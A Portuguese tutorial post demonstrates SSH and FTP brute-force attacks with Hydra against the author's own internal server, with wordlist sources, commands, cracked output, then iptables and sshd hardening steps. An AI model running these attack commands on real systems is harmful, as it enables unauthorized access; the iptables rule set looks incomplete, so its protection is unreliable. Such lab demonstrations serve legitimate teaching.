Ataque com força bruta em servidores com SSH ou FTP

1. Ataque com força bruta em servidores com SSH ou FTP

Diego Mendes Rodrigues
diegomrodrigues

(usa Ubuntu)

Enviado em 24/04/2019 - 10:46h

Os ataques com força bruta (bruteforce) estão entre as formas mais antigas de hacking, além de serem simples de se implementar, mesmo com pouco conhecimento técnico. Esse tipo de ataque, consiste em multiplas tentativas de login em servidores, usando uma lista de possíveis usuários e senhas, até que se tenha sucesso na autenticação. Uma das formas de prevenção para esse tipo de ataque, está em proibir usuários que tentarem o acesso mais de X vezes por minuto.

Usualmente ao realizar esse tipo de ataque, o atacante conheçe o possível, ou os possíveis usernames (nomes de usuário), que devem ser testados em um servidor. Neste artigo irei utilizar um computador Debian, simulando o ataque em um servidor Ubuntu, embora você possa realizar na sua distribuição preferida.


Conseguindo dicionários

Existem diferentes dicionários (ou wordlists) otimizados de acordo com cada tipo de ataque. Caso você busque entrar em um roteador, busque dicionários que contenham senhas com no mínimo 8 caracteres. Por outro lado, buscando o acesso em servidores através de serviços SSH, você provavelmente irá utilizar bases de dados com o usuário root.

Seguem duas boas alternativas para o download de dicionários.

The Hack Today wordlists catalogue
https://thehacktoday.com/password-cracking-dictionarys-download-for-free/ 

Password Dictionaries by SkullSecurity
https://wiki.skullsecurity.org/Passwords 


Instalando e utilizando o Hydra para acessar credenciais de SSH e FTP

O Hydra é uma das ferramentas de força bruta (bruteforcing) mais populares atualmente. Ela vem instalada por padrão no Kali Linux, além de estar disponível nos repositórios oficiais do Debian e do Ubuntu.

Para instalar o Hydra, utilizando o usuário root, execute:
# apt -y install hydra 


Agora você precisa de um dicionário para realizar um ataque. Ao invés de utilizar um dicionário publico, criei um pequeno arquivo wordlist.txt na home do meu usuário.
$ nano wordlist.txt 


Com o seguinte conteúdo:
password
P@ssw0rd
toor
12345678


Pressione <CTRL>+X, salve o arquivo e saia do nano.

Agora, irei realizar o ataque em um servidor Ubuntu, que está na minha rede interna, no IP 192.168.15.205. O serviço atacado será o SSH, com o usuário diego. O seguinte comando será utilizado:

$ hydra -l diego -P wordlist.txt 192.168.15.205 ssh


O retorno que recebo no terminal é:

Hydra v8.3 (c) 2016 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.

Hydra (http://www.thc.org/thc-hydra) starting at 2019-04-24 10:25:57
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[WARNING] Restorefile (./hydra.restore) from a previous session found, to prevent overwriting, you have 10 seconds to abort...
[DATA] max 4 tasks per 1 server, overall 64 tasks, 4 login tries (l:1/p:4), ~0 tries per task
[DATA] attacking service ssh on port 22
[22][ssh] host: 192.168.15.205 login: diego password: toor
1 of 1 target successfully completed, 1 valid password found

Hydra (http://www.thc.org/thc-hydra) finished at 2019-04-24 10:26:09


Veja, que obitive sucesso na autenticação com 'login: diego password: toor':
[22][ssh] host: 192.168.15.205   login: diego   password: toor
1 of 1 target successfully completed, 1 valid password found


No comando de ataque, utilizei o usuário diego, pois o login com o usuário root está desabilitado no meu servidor.

Caso o ataque fosse com o usuário root, o comando seria:

$ hydra -l root -P wordlist.txt 192.168.15.205 ssh 


Caso o ataque fosse com o usuário diego em um servidor FTP, o comando seria:

$ hydra -l diego -P wordlist.txt 192.168.15.205 ftp

Como você pode ver, os ataques são realizados de forma simples e eficiente.


Proteção contra ataques com força bruta

A primeira proteção que deve ser realizada é desabilitar o login como root no serviço SSH.

Como root, altere o arquivo /etc/ssh/sshd_config.

# nano /etc/ssh/sshd_config 


Encontre a linha com
PermitRootLogin yes
e altere para
PermitRootLogin no

Pressione <CTRL>+X, salve o arquivo e saia do nano.

Reinicie o serviço SSH.

# /etc/init.d/ssh restart 


Você também pode substituir a autenticação de senhas para autenticação por chaves, embora eu não vá explicar em detalhes esse procedimento nesse artigo.

Outro passo importante, será limitar a quantidade de tentativas de login através do firewall com Iptables.

Seguem os comandos:

# iptables -A INPUT -i lo -j ACCEPT
# iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT
# iptables -A INPUT -p tcp -m multiport --dports 21,22,110,143 -m recent --update --seconds 3600 --name BANNED --rsource -j DROP
# iptables-save > /etc/iptables/rules.v4
# service iptables restart



Os administradores de sistema que precisam de uma hospedagem de sites, ou uma VPS Linux (Debian, Ubuntu, CentOS, Fedora), podem entrar em contato com a drSolutions!
https://www.drsolutions.com.br  


Espero que você tenha gostado!


  






Patrocínio

Site hospedado pelo provedor RedeHost.
Linux banner

Destaques

Artigos

Dicas

Tópicos

Top 10 do mês

Scripts